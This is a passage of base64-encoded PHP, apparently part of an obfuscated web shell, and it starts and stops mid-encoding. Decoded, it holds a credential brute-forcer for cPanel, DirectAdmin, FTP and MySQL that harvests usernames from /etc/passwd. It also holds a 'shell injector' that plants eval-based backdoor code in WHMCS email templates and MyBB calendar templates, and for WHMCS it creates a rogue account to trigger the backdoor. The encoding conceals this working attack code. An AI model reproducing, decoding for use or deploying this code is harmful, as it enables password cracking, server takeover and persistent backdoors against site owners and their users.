b1sncGFzc3dvcmQnXS4iIik7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvKFxkKyk6KFxkKykvaScsJHJlc3VsdCkpewplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKJGluZm9bJ3RhcmdldCddID0gJHVybDsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwp9CmN1cmxfY2xvc2UoJGN1cmwpOwp9CmZ1bmN0aW9uIEFsZmFfTXlzcWxfQ3JhY2tlcigkaW5mbyl7CmlmKEBteXNxbGlfY29ubmVjdCgkaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10sJGluZm9bJ3VzZXJuYW1lJ10sJGluZm9bJ3Bhc3N3b3JkJ10pKXsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKfQp9CmZ1bmN0aW9uIEFsZmFfRlRQQygkaW5mbyl7CmlmKCRjb249QGZ0cF9jb25uZWN0KCRpbmZvWyd0YXJnZXQnXSwkaW5mb1sncG9ydCddKSl7CmlmKCRjb24pewokbG9naW49QGZ0cF9sb2dpbigkY29uLCRpbmZvWyd1c2VybmFtZSddLCRpbmZvWydwYXNzd29yZCddKTsKaWYoJGxvZ2luKXtDcmFja2VyUmVzdWFsdCgkaW5mbyk7fX19CkBmdHBfY2xvc2UoJGNvbik7Cn0KZnVuY3Rpb24gQ3JhY2tlclJlc3VhbHQoJGluZm8pewokcmVzID0gJGluZm9bJ3RhcmdldCddLicgPT4gJy4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIlxuIiA7CiRjID0gQGZvcGVuKCRpbmZvWydmY3JhY2snXSwnYSsnKTsKQGZ3cml0ZSgkYywgJHJlcyk7CkBmY2xvc2UoJGMpOwp9CmZ1bmN0aW9uIEFsZmFfQ2FsbF9GdW5jdGlvbl9DcmFja2VyKCRtZXRob2QsJGluZm8pewpzd2l0Y2goJG1ldGhvZCl7Y2FzZSAnY3AnOnJldHVybiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2RpcmVjdCc6IGNhc2UgJ3BocG15YWRtaW4nOnJldHVybiBBbGZhX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2Z0cCc6cmV0dXJuIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ215c3FsJzpyZXR1cm4gQWxmYV9NeXNxbF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEFsZmFfRlRQQygkaW5mbyk7YnJlYWs7fQp9CmZ1bmN0aW9uIGFsZmFDcmFja2VycygpewphbGZhaGVhZCgpOwpBbGZhTnVtKDksMTApOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEJydXRlIEZvcmNlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnQ3JhY2tlcnNcJyxudWxsLHRoaXMudGFyZ2V0LnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnVzZXJuYW1lcy52YWx1ZSx0aGlzLnBhc3N3b3Jkcy52YWx1ZSx0aGlzLmZjcmFjay52YWx1ZSxcJ3N0YXJ0XCcsdGhpcy5wcm90b2NvbC52YWx1ZSx0aGlzLmxvZ2lucGFuZWwudmFsdWUpO3JldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkxvZ2luIFBhZ2U6IDxzZWxlY3Qgb25jbGljaz0iZGlzX2lucHV0KHRoaXMudmFsdWUpOyIgbmFtZT0ibG9naW5wYW5lbCI+JzsKZm9yZWFjaChhcnJheSgnY3AnPT4nQ3BhbmVsJywnZGlyZWN0Jz0+J0RpcmVjdEFkbWluJywnZnRwJz0+J0ZUUCcsJ3BocG15YWRtaW4nPT4nUGhwTXlBZG1pbltEaXJlY3RBZG1pbl0nLCdteXNxbCc9PidteXNxbF9jb25uZWN0KCknLCdmdHBjJz0+J2Z0cF9jb25uZWN0KCknKSBhcyAka2V5PT4kdmFsKWVjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpOwplY2hvICc8L3NlbGVjdD4gUHJvdG9jb2w6IDxzZWxlY3QgaWQ9InByb3RvY29sIiBuYW1lPSJwcm90b2NvbCI+JzsKZm9yZWFjaChhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJykgYXMgJHZhbCllY2hvKCc8b3B0aW9uIHZhbHVlPSInLiR2YWwuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTsKZWNobyAnPC9zZWxlY3Q+IFdlYnNpdGUvaXAgQWRkcmVzczogPGlucHV0IGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9InRhcmdldCIgdmFsdWU9ImxvY2FsaG9zdCI+ClBvcnQ6IDxpbnB1dCBpZD0icG9ydCIgdHlwZT0idGV4dCIgbmFtZT0icG9ydCIgdmFsdWU9IjIwODMiPgo8dGFibGUgd2lkdGg9IjMwJSI+PHRkIGFsaWduPSJjZW50ZXIiPlVzZXJzIExpc3Q8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj5QYXNzd29yZHM8L3RkPjwvdGFibGU+Cjx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iVXNlcnMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0idXNlcm5hbWVzIj4nLigkR0xPQkFMU1snc3lzJ109PSd1bml4Jz9hbGZhRXgoImN1dCAtZDogLWYxIC9ldGMvcGFzc3dkIik6IiIpLic8L3RleHRhcmVhPgombmJzcCA8dGV4dGFyZWEgcGxhY2Vob2xkZXI9IlBhc3N3b3JkcyIgcm93cz0iMjAiIGNvbHM9IjI1IiBuYW1lPSJwYXNzd29yZHMiPjwvdGV4dGFyZWE+PGJyPjxicj4KU2F2ZSBSZXN1bHQgSW50byBGaWxlIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmY3JhY2siIHZhbHVlPSJjcmFja2VkLnR4dCI+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNyYWNraW5nIiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9wPjxjZW50ZXI+JzsKJHRhcmdldCA9IHN0cl9yZXBsYWNlKGFycmF5KCdodHRwczovLycsJ2h0dHA6Ly8nLCdmdHA6Ly8nKSwnJywkX1BPU1RbJ2FsZmExJ10pOwokcG9ydCA9ICRfUE9TVFsnYWxmYTInXTsKJHVzZXJuYW1lcz0gJF9QT1NUWydhbGZhMyddOwokcGFzc3dvcmRzID0gJF9QT1NUWydhbGZhNCddOwokZmNyYWNrID0gJF9QT1NUWydhbGZhNSddOwokY3JhY2tpbmcgPSAkX1BPU1RbJ2FsZmE2J107CiRwcm90b2NvbCA9ICRfUE9TVFsnYWxmYTcnXTsKJGxvZ2lucGFuZWwgPSAkX1BPU1RbJ2FsZmE4J107CiRwID0gJGxvZ2lucGFuZWwgPT0gJ3BocG15YWRtaW4nID8gJHAgPSB0cnVlIDogZmFsc2U7CmlmKCRjcmFja2luZz09J3N0YXJ0Jyl7CmVjaG8gX19wcmUoKTsKJGV4dXNlciA9IGV4cGxvZGUoIlxuIiwkdXNlcm5hbWVzKTsKJGV4cHcgPSBleHBsb2RlKCJcbiIsJHBhc3N3b3Jkcyk7CmZvcmVhY2goJGV4dXNlciBhcyAkdXNlcil7CmZvcmVhY2goJGV4cHcgYXMgJHB3KXsKJGFycmF5ID0gYXJyYXkoJ3VzZXJuYW1lJyA9PiB0cmltKCR1c2VyKSwncGFzc3dvcmQnID0+IHRyaW0oJHB3KSwncG9ydCcgPT4gdHJpbSgkcG9ydCksJ3RhcmdldCcgPT4gdHJpbSgkdGFyZ2V0KSwncHJvdG9jb2wnID0+IHRyaW0oJHByb3RvY29sKSwnZmNyYWNrJyA9PiB0cmltKCRmY3JhY2spLCdteXNxbCcgPT4gJHApOwpBbGZhX0NhbGxfRnVuY3Rpb25fQ3JhY2tlcigkbG9naW5wYW5lbCwkYXJyYXkpOwp9Cn0KZWNobyAnPGJyPjxmb250IGNvbG9yPSJyZWQiPkF0dGFjayBGaW5pc2hlZC4uLjwvZm9udD4nOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBvdXRwdXQoJHN0cmluZyl7IGVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSciLiRzdHJpbmcuIic+Q2xpY2sgSGVyZSAhPC9hPjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iO30KZnVuY3Rpb24gYWxmYVNoZWxsSW5qZWN0b3JzKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CkFsZmFOdW0oMTEpOwplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBTaGVsbCBJbmplY3RvciB8PC9kaXY+PC9wPjxjZW50ZXI+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsXCd3aG1jc1wnLG51bGwpIj58IFdITUNTIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsbnVsbCxcJ3ZiXCcpIj58IHZCdWxsZXRpbiB8PC9hPjwvaDM+PC9jZW50ZXI+JzsKJHNlbGVjdG9yID0gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPlNoZWxsIEluamVjdCBNZXRob2QgOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSJtZXRob2QiIHN0eWxlPSJ3aWR0aDoxMDBweDsiPjxvcHRpb24gdmFsdWU9ImF1dG8iPkF1dG9NYXRpYzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1hbiI+TWFudWVsPC9vcHRpb24+PC9zZWxlY3Q+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgJF9QT1NUWydhbGZhMSddPT0gJ3dobWNzJyl7CkFsZmFOdW0oKTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXSE1DUyB8PC9kaXY+PC9wPjxjZW50ZXI+PGNlbnRlcj48cD4iLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuIjwvcD48Zm9ybSBvblN1Ym1pdD1cImcoJ1NoZWxsSW5qZWN0b3JzJyxudWxsLCd3aG1jcycsbnVsbCxudWxsLHRoaXMubWV0aG9kLnZhbHVlLG51bGwsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5wYXRoLnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXRoIFdITUNTIFVybCA6ICcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlciA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcyA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJHNlbGVjdG9yOwplY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9wPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwppZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKSB7CiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107CiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107CiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107CiRkYmggPSAkX1BPU1RbJ2FsZmE5J107CiRwYXRoID0gJF9QT1NUWydhbGZhMTAnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsKJGluZGV4ID0gIntwaHB9Ii5BTEZBX1VQTE9BREVSLiI7ey9waHB9IjsKJG5ld2luID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGluZGV4KTsKJG5ld2luZGV4ID0gIjxwPkRlYXIgJG5ld2luLDwvcD48cD5SZWNlbnRseSBhIHJlcXVlc3Qgd2FzIHN1Ym1pdHRlZCB0byByZXNldCB5b3VyIHBhc3N3b3JkIGZvciBvdXIgY2xpZW50IGFyZWEuIElmIHlvdSBkaWQgbm90IHJlcXVlc3QgdGhpcywgcGxlYXNlIGlnbm9yZSB0aGlzIGVtYWlsLiBJdCB3aWxsIGV4cGlyZSBhbmQgYmVjb21lIHVzZWxlc3MgaW4gMiBob3VycyB0aW1lLjwvcD48cD5UbyByZXNldCB5b3VyIHBhc3N3b3JkLCBwbGVhc2UgdmlzaXQgdGhlIHVybCBiZWxvdzo8YnIgLz48YSBocmVmPVwie1wkcHdfcmVzZXRfdXJsfVwiPntcJHB3X3Jlc2V0X3VybH08L2E+PC9wPjxwPldoZW4geW91IHZpc2l0IHRoZSBsaW5rIGFib3ZlLCB5b3VyIHBhc3N3b3JkIHdpbGwgYmUgcmVzZXQsIGFuZCB0aGUgbmV3IHBhc3N3b3JkIHdpbGwgYmUgZW1haWxlZCB0byB5b3UuPC9wPjxwPntcJHNpZ25hdHVyZX08L3A+e3BocH1pZihcJF9DT09LSUVbXCJzZWNcIl0gPT0gXCIxMjNcIil7ZXZhbChiYXNlNjRfZGVjb2RlKFwkX0NPT0tJRVtcInNlYzJcIl0pKTsgZGllKFwiIVwiKTt9e1wvcGhwfSI7CmlmKCFlbXB0eSgkZGJoKSAmJiAhZW1wdHkoJGRidSkgJiYgIWVtcHR5KCRkYm4pICYmICFlbXB0eSgkaW5kZXgpKXsKaWYoZmlsdGVyX3ZhcigkcGF0aCxGSUxURVJfVkFMSURBVEVfVVJMKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9jb25uZWN0X2Vycm9yKCkpOwokc29sZVNhdmU9IG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3aGVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOwokc29sZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZVNhdmUpOwokdGVtcFNhdmUxID0gJHNvbGVHZXRbJ21lc3NhZ2UnXTsKJHRlbXBTYXZlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHRlbXBTYXZlMSk7Cm15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFIHRibGNvbmZpZ3VyYXRpb24gU0VUIHZhbHVlID0gJzEnIFdIRVJFIHNldHRpbmcgPSAnQWxsb3dTbWFydHlQaHBUYWdzJyIpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckbmV3aW5kZXgnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSI7CiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokQWxmYVNvbGUgPSBuZXcgQWxmYUNVUkwodHJ1ZSk7CiRzYXZldXJsID0gJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsKJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOwokQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9c29sZXZpc2libGVAZmJpLmdvdiIpOwokYmFja2RhdGEgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSd7JHRlbXBTYXZlfScgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOwokU29sZXZpc2libGUgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpfX2FsZXJ0KCJzaGVsbCBpbmplY3RldC4uLiIpOwokZmY9ICdodHRwOi8vJy4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7Cm91dHB1dCgkZmYpO31lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBocDwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5zb2xldmlzaWJsZUBmYmkuZ292PC9mb250Pjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9zb2xldmlzaWJsZS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0KfWlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0gJ215YmInKXsKQWxmYU51bSgxLDIsMyw1KTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJz0+J2RiX25hbWUnICwnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0VmFsdWUnID0+ICdteWJiXycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpIHsKJGRidSA9ICRfUE9TVFsnYWxmYTYnXTsKJGRibiA9ICRfUE9TVFsnYWxmYTcnXTsKJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsKJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107CiRzaGVsbENvZGUgPSAie1wkeyIuQUxGQV9VUExPQURFUi4ifX0iOwokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRzaGVsbENvZGUpOwppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOwokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokR2V0VGVtcCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107CiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2ZURhdGUpOwokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRyZXBzYXZlKTsKJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0aXRsZSA9ICdjYWxlbmRhciciOwokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSAic2VsZWN0IHZhbHVlIGZyb20geyRwcmVmaXh9c2V0dGluZ3Mgd2hlcmUgbmFtZT0gJ2JidXJsJyI7CiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsKJGZ1cmwgPSAkcm93YlsndmFsdWUnXTsKJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7CmlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApewppZiAoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRyZXBhaXJkYnRlbXAgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICckcmVwc2F2ZScgd2hlcmUgdGl0bGUgPSAnY2FsZW5kYXInIjsKJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaX